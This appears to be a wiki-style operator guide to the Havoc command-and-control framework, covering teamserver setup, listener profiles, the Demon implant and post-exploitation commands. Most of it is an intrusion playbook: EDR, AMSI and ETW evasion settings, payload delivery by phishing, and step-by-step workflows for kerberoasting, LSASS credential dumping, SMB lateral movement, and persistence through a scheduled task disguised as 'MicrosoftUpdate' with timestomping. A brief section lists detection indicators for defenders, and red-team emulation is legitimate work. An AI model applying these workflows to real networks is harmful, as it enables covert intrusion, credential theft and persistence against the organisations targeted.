Havoc C2 Wiki

Author: C5pider (Paul Ungureanu) Repo: https://github.com/HavocFramework/Havoc Description: Modern, extensible post-exploitation command and control framework with Qt-based GUI, C/ASM Demon implant, malleable-style profiles, and first-class evasion capabilities License: GNU GPLv3 Docs: https://havocframework.com/docs

Overview

Havoc is a modern, post-exploitation command and control framework engineered specifically for adversary emulation and red team engagements. Unlike Cobalt Strike (closed-source, expensive) or Sliver (Go-based cross-platform), Havoc ships a Windows-native implant written in C/ASM (Demon) with configurable, first-class evasion capabilities baked directly into the agent binary at generation time.

Key capabilities:

• Qt5-based operator GUI — modern dark theme, integrated script manager, session interaction console, loot/credential store
• Demon implant (Windows x64) — C/ASM hybrid with indirect syscalls, stack spoofing, sleep encryption, AMSI/ETW bypass, return address spoofing
• HTTP/HTTPS listeners with malleable profiles — customize headers, URIs, user agents, host rotation to evade static signatures
• Inline Beacon Object File (BOF) execution — runs Cobalt Strike-compatible .o files in-process
• In-memory .NET assembly execution — via dotnet inline-execute with built-in AMSI patching
• Shellcode injection with multiple techniques — syscall-based, Win32 API-based; configurable per-invocation
• SOCKS5 proxy and port forwarding through active Demon sessions
• SMB P2P agent linking — internal lateral movement without reverse callback
• Python API for scripting — havoc-py package enables custom modules and operator automation
• Multiplayer support — multiple operators connect to one teamserver using pre-shared credentials

Note: Havoc is under active development. The main branch can have breaking changes. Pin to a tagged release or known-good commit for stable operations.

Architecture

                 ┌────────────────────────────────────────┐
                 │     Havoc Teamserver (Linux/macOS)     │
                 │                                        │
                 │  teamserver binary (Go)                │
                 │      │                                 │
                 │      ├──► Listener Manager             │
                 │      │    (HTTP/HTTPS handlers)        │
                 │      ├──► Agent Manager                │
                 │      │    (active Demon sessions)      │
                 │      ├──► Operator WebSocket :40056    │
                 │      └──► REST/gRPC API                │
                 └────────────────────────────────────────┘
                      ▲                  ▲
        WebSocket     │                  │  C2 traffic
        (TLS, auth)   │                  │  (HTTP/HTTPS)
                      │                  │
         ┌────────────┘         ┌────────┘
         │                      │
   ┌──────────────┐   ┌────────────────────┐
   │ Havoc Client │   │  Demon Implant     │
   │ (Qt5 GUI)    │   │  (victim Windows)  │
   │ Operator A   │   │                    │
   │ Operator B   │   │  P2P via SMB pipes │
   └──────────────┘   └────────────────────┘

Component breakdown:

• Teamserver — a Go binary managing state: active sessions, listeners, credentials, loot, tasking. In-memory + optional disk logging; no external database.
• Havoc Client — Qt5 desktop GUI (Linux/Windows). Multiple clients connect to one teamserver via WebSocket over TLS with username/password auth.
• Listeners — protocol handlers (HTTP/HTTPS) each independently configured with host, port, profiles, and TLS settings.
• Demon — the Windows x64 implant. Position-independent DLL/shellcode that can be wrapped as standalone EXE. All post-ex runs in-process or injected into remote processes.
• External C2 — listener type exposing a raw channel for third-party transports (DNS, Slack, custom). External process relays framed messages to the teamserver.

Tip: In production, run the teamserver on a hardened VPS behind a redirector (Nginx/Apache). Expose only port 443 for agent traffic and port 40056 (teamserver WebSocket) to operator IPs only.

Installation & Server Setup

Quick Start (Linux)

# Prerequisites
sudo apt update && sudo apt install -y \
  golang-go python3 python3-pip \
  mingw-w64 nasm cmake pkg-config \
  qtbase5-dev qtchooser libqt5websockets5-dev

# Clone and build
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc/Teamserver
go mod download
go build -o havoc-teamserver .
cd ..

# Start the teamserver
./Teamserver/havoc-teamserver server --profile Teamserver/profiles/havoc.yaotl --verbose

Building the Client

cd Havoc/Client
mkdir Build && cd Build
cmake ..
make -j$(nproc)
cd ..
./Havoc.sh     # builds and runs the client

Tip: Pre-compiled client binaries are available on the GitHub Releases page. Download the binary and build only the teamserver for faster setup.

Teamserver Configuration (yaotl)

The teamserver reads a .yaotl profile file (HCL-like syntax) at startup, defining operator accounts, listener templates, and build settings. Treat this file like a private key — it contains passwords.

Minimal Profile

Teamserver {
    Host = "0.0.0.0"
    Port = 40056
}

Operators {
    user "admin" {
        Password = "SuperSecretPassword123"
    }
    user "operator1" {
        Password = "AnotherPassword456"
    }
}

Build {
    Compiler64 = "x86_64-w64-mingw32-gcc"
    Compiler86 = "i686-w64-mingw32-gcc"
    Nasm       = "/usr/bin/nasm"
}

Listener Configuration

Listeners {
    Http {
        Name         = "https-main"
        Host         = "10.0.0.10"
        Port         = 443
        Method       = "POST"
        Secure       = true
        UserAgent    = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
        Uris         = ["/news.php", "/en_US/all.js", "/updates.rss"]
        Headers      = ["Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest"]

        Response {
            Headers = ["Content-type: text/plain", "X-IsHavocFramework: true"]
        }
    }
}

Configuration directives:

Operators & the Client GUI

The Havoc Client is a Qt5 desktop application. Operators authenticate with the teamserver using credentials from the .yaotl profile.

# Start the client
cd Havoc/Client
./Havoc

On launch, enter the teamserver address, port, username, and password from the profile. Multiple operators can connect simultaneously.

Main Client Features

• Listeners — view and restart listeners
• Payload — generate Demon payloads (exe/dll/shellcode)
• Interact — drop into a Demon session console
• Loot — manage downloaded files, screenshots, credentials
• Modules — dynamic extension points (Python-based custom modules)

Listeners

Listeners accept agent callbacks and are configured in the teamserver's .yaotl profile at startup time.

HTTP/HTTPS Listener Configuration

OPSEC: Customize URIs, headers, and User-Agent to blend into legitimate network traffic. Avoid Havoc defaults which are fingerprinted by defenders.

Demon Implant

Demon is the primary Havoc agent, written in C with critical path operations in x86-64 assembly. Only x64 Windows is currently supported (exe/dll/shellcode formats).

Generating Payloads

From the Havoc Client GUI, navigate to Attack → Payload:

1. Select output format: EXE, DLL, or Shellcode
2. Select listener
3. Click Generate

The compiled binary is downloaded to your local machine; use any delivery method (phishing, watering hole, physical access, etc.) to get it onto the target.

Implant Features & Configuration

Demon supports configurable evasion at compile time via the .yaotl profile:

Sleep Obfuscation

Demon can encrypt its heap during sleep to evade memory-scanning EDR. Techniques:

• WaitForSingleObjectEx (no obfuscation, baseline)
• FOLIAGE — custom sleep implementation
• Ekko — ROP-based sleep

Demon {
    Sleep   = 2           # default sleep interval (seconds)
    Jitter  = 20          # jitter in milliseconds

    Implant {
        SleepMask           = 1       # enable sleep obfuscation
        SleepMaskTechnique  = 2       # 0=WaitForSingleObjectEx, 1=FOLIAGE, 2=Ekko
    }
}

Process Injection Targets

Specify what process Demon spawns for fork & run (when injecting shellcode or spawning .NET):

Demon {
    Injection {
        Spawn64 = "C:\\Windows\\System32\\notepad.exe"
        Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
    }
}

Indirect Syscalls

When compiled with OBF_SYSCALL, Demon performs indirect syscalls for Nt* APIs, masquerading the RIP to point inside ntdll.dll. This evades EDR traps on syscall entry points.

Session Management

Once a Demon checks in, interact with it from the client GUI by double-clicking the session or using the command bar.

Demon » help

Demon Commands
==============

  Command                  Type         Description
  -------                  -------      -----------
  checkin                  Command      Request immediate checkin
  sleep                    Command      Set sleep delay and jitter
  exit                     Command      Cleanup and exit

  ... (170+ commands)

Type help <command> for detailed syntax on any command.

Core Post-Exploitation Commands

Once interacting with a Demon session:

Situational Awareness

Process & Token Management

Filesystem Operations

Network Enumeration

Code Execution & Injection

Shellcode Injection

Inject raw shellcode into a remote process or spawn a process and inject.

shellcode inject x64 <pid> C:\path\to\shellcode.bin
shellcode spawn x64 C:\path\to\shellcode.bin

Injection techniques (configurable in .yaotl):

• Syscall-based — uses indirect syscalls for allocation/thread creation
• Win32 API fallback — VirtualAllocEx/CreateRemoteThread when syscall unavailable

OPSEC: Syscall-based injection evades userland EDR hooks but leaves behavioral traces (thread creation in remote process, unusual code allocation).

.NET Assembly Execution

Execute .NET assemblies in-process with AMSI patching.

dotnet list-versions                                # show installed .NET versions
dotnet inline-execute C:\path\assembly.exe [args]  # execute assembly in-process

OPSEC Notes:

• Creates a CLR runtime in Demon's process (irreversible)
• AMSI is patched in-memory after CLR initialization
• Assembly output is captured and returned to the teamserver

Beacon Object Files (BOFs)

Execute Cobalt Strike-compatible BOFs (.o files) in-process.

inline-execute C:\path\bof.o [args]

BOFs run with no new process spawn, making them stealthier than execute-assembly. Requires pre-compiled .o files (compile from source using MinGW).

In-Memory Execution

• noconsolation — Execute a PE inline
• Ditto-Memory — Run Ditto tool in memory without uploading
• Ditto-upload — Upload and run Ditto on target

Credential Access & Dumping

Kerberos & Active Directory

Persistence & Service Management

Pivoting & Lateral Movement

SOCKS5 usage:

# In Demon session
socks 9050

# On operator machine
proxychains -f proxychains.conf nmap -sT -Pn 10.10.10.0/24
proxychains impacket-psexec DOMAIN/user:pass@10.10.10.5

OPSEC & Evasion

Sleep Obfuscation

Configure in .yaotl:

Demon {
    Implant {
        SleepMask           = 1       # enable
        SleepMaskTechnique  = 2       # Ekko recommended for stealth
    }
}

Sleep obfuscation only works when no jobs are running — active job threads prevent heap encryption (would crash the process).

AMSI & ETW Bypass

• AMSI: Patched in-memory when .NET is loaded via dotnet inline-execute
• ETW: Indirect syscalls bypass ETW at the kernel level
• Stack spoofing: x64 Demons can implement return address spoofing during sleep

Indirect Syscalls

Built-in when compiled with OBF_SYSCALL. Masquerades RIP to point inside ntdll.dll, evading EDR syscall tracing. Stubs are dynamically crafted from the disk ntdll at runtime.

Evasion Checklist

• [ ] Customize listener URIs, headers, User-Agent in profile
• [ ] Use Secure = true (HTTPS) in listeners
• [ ] Enable sleep obfuscation with Ekko/FOLIAGE
• [ ] Use syscall-based injection for shellcode
• [ ] Set realistic sleep intervals and jitter
• [ ] Don't use precompiled default binary names
• [ ] Change fork & run process targets
• [ ] Front listener behind redirector in live engagements

Detection Notes (Blue Team Awareness)

Network Indicators

• Default Havoc listener URIs are fingerprinted by defenders
• Default User-Agent and headers match the .yaotl profile defaults
• HTTP POST with unusual header combinations flags Havoc traffic
• Teamserver WebSocket on port 40056 is distinctive

Host-Level Indicators

• Unobfuscated Demon memory exposes PE headers
• Classic AMSI patching is signatured by EDR
• execute-assembly sacrificial process defaults (notepad.exe) are monitored
• Indirect syscalls still leave behavioral traces (thread creation, code allocation)
• Return address spoofing detectable via hypervisor-based thread-context monitoring

Event Log Indicators

Common Attack Workflows

Workflow 1: Initial Foothold → Domain Admin via Kerberoasting

1. Deliver Demon shellcode (phishing, watering hole, etc.)
2. Demon checks in over HTTPS listener
3. whoami / sysinfo / ps
4. screenshot
5. dotnet inline-execute SharpHound.exe -c All
6. download <bloodhound_zip>
7. Analyze BloodHound for Kerberoastable users
8. kerberoast LDAP/dc01.corp.local
9. download hashes for offline cracking
10. token make CORP $kerberoastuser $crackedpass
11. token impersonate <token_id>
12. Identify DA session
13. Use SMB pivot or token to laterally move
14. New privileged Demon session
15. nanodump (dump LSASS for credentials)
16. extract plaintext passwords or hashes

Workflow 2: Lateral Movement via SMB P2P Pivoting

1. Existing HTTPS Demon on Host A (internal compromised host)
2. Enumerate Host B internally: netview / dcenum
3. Generate new Demon for SMB listener
4. Upload payload to Host A
5. Execute toward Host B: pivot smb connect hostname pipename
6. Child Demon checks in via SMB named pipe relay
7. Interact with child Demon as normal
8. Continue pivoting into segmented subnets

Workflow 3: Credential Dumping

1. Gain SeDebugPrivilege or run as SYSTEM
2. token privs-list (verify SeDebugPrivilege present)
3. nanodump (dump LSASS in-memory)
4. download <lsass_minidump>
5. Parse offline with pypykatz or mimikatz on operator machine
6. Extract credentials for lateral movement

Workflow 4: Persistence via Scheduled Task

1. Active Demon session with privileges
2. upload demon.exe C:\ProgramData\Microsoft\Windows\demon.exe
3. shell schtasks /Create /SC ONLOGON /TN "MicrosoftUpdate" /TR "C:\ProgramData\Microsoft\Windows\demon.exe" /RU SYSTEM /F
4. Verify: schtasksquery "MicrosoftUpdate"
5. Optional: timestomp the executable

Cheatsheet

Teamserver & Client Setup

# Start teamserver
./havoc-teamserver server --profile ./profiles/havoc.yaotl --verbose

# Build client
cd Client
./Havoc.sh

# Start client (connects to teamserver)
./Havoc

Listener & Payload Generation

Havoc Client › Attack › Payload
  → Select listener
  → Select format (EXE/DLL/Shellcode)
  → Generate
  → Download binary

Common Session Commands

checkin
whoami / sysinfo / ps
screenshot
download <file>
upload <local> <remote>
shell <command>
powershell "<ps_cmd>"

Token Management

token list
token steal <pid>
token make DOMAIN username password
token impersonate <id>
token privs-get
token revert

Shellcode & Injection

shellcode inject x64 <pid> C:\shellcode.bin
shellcode spawn x64 C:\shellcode.bin
dotnet inline-execute C:\assembly.exe
inline-execute C:\bof.o

Domain Enumeration

dcenum
domainenum
get-spns
get-asrep
get-delegation
kerberoast LDAP/dc.corp.local

Credential Access

nanodump
samdump
gosecdump
token steal <lsass_pid>

Pivoting

socks 9050
rportfwd add 3389 target.internal 3389
pivot smb connect hostname pipename

Service Persistence

sc_create ServiceName "Display Name" "C:\path\to\payload.exe"
sc_start ServiceName

Cleanup

rm <file>
reg_delete HKLM "Software\Path"
sc_delete ServiceName
exit

References

• Official Havoc GitHub: https://github.com/HavocFramework/Havoc
• Official Documentation: https://havocframework.com/docs
• GitHub Wiki: https://github.com/HavocFramework/Havoc/wiki
• C5pider's Blog: Various posts on Havoc architecture and OPSEC
• Beacon Object Files: https://github.com/trustedsec/CS-Situational-Awareness-BOF
• SharpHound: https://github.com/BloodHoundAD/SharpHound
• Rubeus: https://github.com/GhostPack/Rubeus

Appendix: Command Categories by Use Case

Initial Reconnaissance

checkin
whoami
sysinfo
ipconfig
ps
netstat
screenshot

Credential Harvesting

token steal <pid>
token list
nanodump
samdump
gosecdump
kerberoast <spn>
dcenum

Lateral Movement

pivot smb connect <host> <pipename>
token make <domain> <user> <pass>
token impersonate <id>
socks <port>
rportfwd add <bind> <target> <port>

Privilege Escalation

token privs-get
token privs-list
sc_create <service> <path>
sc_start <service>

Evasion & Cleanup

sleep <delay> <jitter>
rm <path>
reg_delete <hive> <path>
sc_delete <service>
exit

Last Updated: July 2026
Havoc Version Reference: Latest from GitHub (Star Platinum and beyond)